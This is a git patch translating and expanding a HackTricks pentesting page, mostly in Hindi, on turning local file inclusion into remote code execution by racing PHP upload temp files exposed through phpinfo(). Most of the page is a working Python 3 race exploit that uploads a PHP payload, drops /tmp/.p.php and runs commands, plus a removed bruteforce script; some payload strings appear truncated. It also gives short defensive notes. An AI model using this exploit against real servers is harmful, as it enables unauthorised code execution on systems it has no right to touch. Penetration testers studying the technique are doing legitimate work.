From d43dcd801e48ce2c23f9a94ae416aa72f37ad4b6 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:52:03 +0000 Subject: [PATCH] Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md'] --- .../file-inclusion/lfi2rce-via-phpinfo.md | 181 ++++++++++++++---- 1 file changed, 143 insertions(+), 38 deletions(-) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index a62943242..635c80d88 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -1,55 +1,160 @@ +# LFI to RCE via PHPInfo + {{#include ../../banners/hacktricks-training.md}} -इस कमजोरियों का लाभ उठाने के लिए आपको आवश्यकता है: **एक LFI कमजोरी, एक पृष्ठ जहाँ phpinfo() प्रदर्शित होता है, "file_uploads = on" और सर्वर को "/tmp" निर्देशिका में लिखने में सक्षम होना चाहिए।** +To exploit this technique you need all of the following: +- एक पहुँच योग्य पृष्ठ जो phpinfo() आउटपुट प्रदर्शित करे। +- एक Local File Inclusion (LFI) primitive जिससे आप नियंत्रित कर सकें (उदा., include/require on user input)। +- PHP file uploads सक्षम हों (file_uploads = On)। कोई भी PHP script RFC1867 multipart uploads स्वीकार करेगा और प्रत्येक uploaded part के लिए एक temporary file बनाएगा। +- PHP worker को configured upload_tmp_dir (या default system temp directory) में लिखने में सक्षम होना चाहिए और आपका LFI उस path को include कर सके। -[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +Classic write-up and original PoC: +- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) +- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors) -**ट्यूटोरियल HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) +Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s -आपको एक्सप्लॉइट को ठीक करने की आवश्यकता है ( **=>** को **=>** में बदलें)। ऐसा करने के लिए आप कर सकते हैं: +Notes about the original PoC +- phpinfo() आउटपुट HTML-encoded होता है, इसलिए "=>" अक्सर "=>" के रूप में दिखाई देता है। यदि आप legacy scripts पुन: उपयोग करते हैं, तो सुनिश्चित करें कि वे _FILES[tmp_name] value को parse करते समय दोनों encodings की खोज करें। +- आपको payload (आपका PHP code), REQ1 (phpinfo() endpoint के लिए request जिसमें padding शामिल है), और LFIREQ (आपके LFI sink के लिए request) को अनुकूलित करना होगा। कुछ targets को null-byte (%00) terminator की आवश्यकता नहीं होती और आधुनिक PHP versions इसे मान्य नहीं करेंगे। LFIREQ को vulnerable sink के अनुसार समायोजित करें। + +Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow: ``` -sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py +sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` -आपको **payload** को भी बदलना होगा जो हमले की शुरुआत में है (उदाहरण के लिए, php-rev-shell के लिए), **REQ1** (यह phpinfo पृष्ठ की ओर इशारा करना चाहिए और इसमें padding शामिल होनी चाहिए, यानी: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), और **LFIREQ** (यह LFI भेद्यता की ओर इशारा करना चाहिए, यानी: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ जब null char का शोषण करते समय डबल "%" की जांच करें) - {{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}} -### सिद्धांत +## सिद्धांत -यदि PHP में अपलोड की अनुमति है और आप एक फ़ाइल अपलोड करने की कोशिश करते हैं, तो यह फ़ाइल एक अस्थायी निर्देशिका में संग्रहीत होती है जब तक कि सर्वर अनुरोध को संसाधित नहीं कर लेता, फिर यह अस्थायी फ़ाइल हटा दी जाती है। +- जब PHP को multipart/form-data POST में कोई file field मिलता है, तो यह कंटेंट को एक temporary file में लिखता है (upload_tmp_dir या OS default) और उसका path $_FILES['']['tmp_name'] में प्रकट करता है। फाइल request के अंत में अपने आप हटा दी जाती है जब तक कि उसे स्थानांतरित/पुनःनामित न किया गया हो। +- चाल यह है कि temporary नाम ज्ञात करें और PHP उसे साफ करने से पहले अपने LFI के जरिए उसे include करें। phpinfo() $_FILES को प्रिंट करता है, जिसमें tmp_name भी शामिल है। +- request headers/parameters (padding) बढ़ाकर आप phpinfo() आउटपुट के शुरुआती chunks को request खत्म होने से पहले client पर flush करा सकते हैं, ताकि आप तब tmp_name पढ़ सकें जब temp file अभी मौजूद हो और फिर तुरंत उसी path के साथ LFI को हिट कर सकें। -फिर, यदि आपने वेब सर्वर में LFI भेद्यता पाई है, तो आप अस्थायी फ़ाइल के नाम का अनुमान लगाने की कोशिश कर सकते हैं और इसे RCE का शोषण करते हुए अस्थायी फ़ाइल तक पहुँच सकते हैं इससे पहले कि इसे हटा दिया जाए। +Windows में temp फाइलें आमतौर पर C:\\Windows\\Temp\\php*.tmp जैसी जगहों पर होती हैं। Linux/Unix में वे सामान्यतः /tmp में या upload_tmp_dir में configured डायरेक्टरी में होती हैं। -**Windows** में फ़ाइलें आमतौर पर **C:\Windows\temp\php** में संग्रहीत होती हैं। +## हमला कार्यप्रवाह (कदम-दर-कदम) -**Linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **कहीं से अस्थायी फ़ाइल का नाम निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है। - -**phpinfo()** - -**PHP** एक **4096B** का बफर उपयोग करता है और जब यह **पूर्ण** होता है, तो इसे **क्लाइंट को भेजा जाता है**। फिर क्लाइंट **बहुत सारे बड़े अनुरोध भेज सकता है** (बड़े हेडर का उपयोग करते हुए) **php** रिवर्स **शेल** अपलोड करते हुए, **phpinfo() के पहले भाग के लौटने का इंतजार करें** (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर फ़ाइल को हटाने से पहले **अस्थायी फ़ाइल तक पहुँचने की कोशिश करें**। - -**नाम को ब्रूटफोर्स करने के लिए Python स्क्रिप्ट (यदि लंबाई = 6)** -```python -import itertools -import requests -import sys - -print('[+] Trying to win the race') -f = {'file': open('shell.php', 'rb')} -for _ in range(4096 * 4096): -requests.post('http://target.com/index.php?c=index.php', f) - - -print('[+] Bruteforcing the inclusion') -for fname in itertools.combinations(string.ascii_letters + string.digits, 6): -url = 'http://target.com/index.php?c=/tmp/php' + fname -r = requests.get(url) -if 'load average' in r.text: # '); +``` +2) phpinfo() पेज पर सीधे एक बड़ा multipart POST भेजें ताकि यह आपके payload वाले एक temp file बना दे. early output को प्रेरित करने के लिए विभिन्न headers/cookies/params में ~5–10KB padding जोड़ें. सुनिश्चित करें कि form field का नाम उसी से मेल खाता हो जिसे आप $_FILES में पार्स करेंगे. + +3) जबकि phpinfo() response अभी भी streaming कर रहा होता है, partial body को पार्स करके $_FILES['']['tmp_name'] (HTML-encoded) निकालें. जैसे ही आपके पास पूरा absolute path (उदा., /tmp/php3Fz9aB) आ जाए, अपना LFI फायर कर के उस path को include करवाएँ. अगर include() temp file को उसके delete होने से पहले execute कर दे, तो आपका payload चल जाएगा और /tmp/.p.php बन जाएगा. + +4) बने हुए file का उपयोग करें: GET /vuln.php?include=/tmp/.p.php&x=id (या जहाँ भी आपका LFI उसे include करने देता है) ताकि कमांड्स विश्वसनीय रूप से execute हों. + +> टिप्स +> - race जीतने की आपकी संभावनाएँ बढ़ाने के लिए एक साथ कई concurrent workers का उपयोग करें. +> - Padding रखने की सामान्य रूप से मदद करने वाली जगहें: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. लक्ष्य के अनुसार इसे tune करें. +> - अगर vulnerable sink कोई extension (उदा., .php) append करता है, तो आपको null byte की जरूरत नहीं है; include() temp file के extension की परवाह किए बिना PHP को execute कर देगा. + +## न्यूनतम Python 3 PoC (socket-based) + +नीचे दिया गया snippet महत्वपूर्ण हिस्सों पर केंद्रित है और legacy Python2 script की तुलना में इसे adapt करना आसान है. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), और PAYLOAD को customize करें. +```python +#!/usr/bin/env python3 +import re, html, socket, threading + +HOST = 'target.local' +PORT = 80 +PHPSCRIPT = '/phpinfo.php' +LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path +THREADS = 10 + +PAYLOAD = ( +"'); ?>\r\n" +) +BOUND = '---------------------------7dbff1ded0714' +PADDING = 'A' * 6000 +REQ1_DATA = (f"{BOUND}\r\n" +f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" +f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") + +REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" +f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" +f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" +f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" +f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") + +LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") + +pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") + + +def race_once(): +s1 = socket.socket() +s2 = socket.socket() +s1.connect((HOST, PORT)) +s2.connect((HOST, PORT)) +s1.sendall(REQ1.encode()) +buf = b'' +tmp = None +while True: +chunk = s1.recv(4096) +if not chunk: +break +buf += chunk +m = pat.search(html.unescape(buf.decode(errors='ignore'))) +if m: +tmp = m.group(1) +break +ok = False +if tmp: +req = (LFI % tmp).encode() % HOST.encode() +s2.sendall(req) +r = s2.recv(4096) +ok = b'.p.php' in r or b'HTTP/1.1 200' in r +s1.close(); s2.close() +return ok + +if __name__ == '__main__': +hit = False +def worker(): +nonlocal_hit = False +while not hit and not nonlocal_hit: +nonlocal_hit = race_once() +if nonlocal_hit: +print('[+] Won the race, payload dropped as /tmp/.p.php') +exit(0) +ts = [threading.Thread(target=worker) for _ in range(THREADS)] +[t.start() for t in ts] +[t.join() for t in ts] +``` +## Troubleshooting +- You never see tmp_name: सुनिश्चित करें कि आप वास्तव में phpinfo() को multipart/form-data के साथ POST कर रहे हैं। phpinfo() केवल तब $_FILES प्रिंट करता है जब कोई upload फ़ील्ड मौजूद था। +- Output doesn’t flush early: padding बढ़ाएँ, अधिक बड़े headers जोड़ें, या कई concurrent requests भेजें। कुछ SAPIs/buffers बड़े thresholds तक flush नहीं करेंगे; तदनुसार समायोजित करें। +- LFI path blocked by open_basedir or chroot: आपको LFI को किसी allowed path की तरफ निर्देशित करना होगा या दूसरे LFI2RCE vector पर स्विच करना होगा। +- Temp directory not /tmp: phpinfo() पूरा absolute tmp_name path प्रिंट करता है; LFI में उसी exact path का उपयोग करें। + +## रक्षात्मक नोट्स +- Never expose phpinfo() in production. यदि आवश्यक हो, तो IP/auth के द्वारा सीमित करें और उपयोग के बाद हटा दें। +- यदि आवश्यक न हो तो file_uploads को disabled रखें। अन्यथा, upload_tmp_dir को उस path तक सीमित रखें जो application में include() द्वारा पहुंच योग्य न हो और किसी भी include/require paths पर कड़ा validation लागू करें। +- किसी भी LFI को क्रिटिकल मानें; phpinfo() न होने पर भी अन्य LFI→RCE paths मौजूद हैं। + +## संबंधित HackTricks techniques + +{{#ref}} +lfi2rce-via-temp-file-uploads.md +{{#endref}} + +{{#ref}} +via-php_session_upload_progress.md +{{#endref}} + +{{#ref}} +lfi2rce-via-nginx-temp-files.md +{{#endref}} + +{{#ref}} +lfi2rce-via-eternal-waiting.md +{{#endref}} + + + +## संदर्भ +- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf +- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php {{#include ../../banners/hacktricks-training.md}}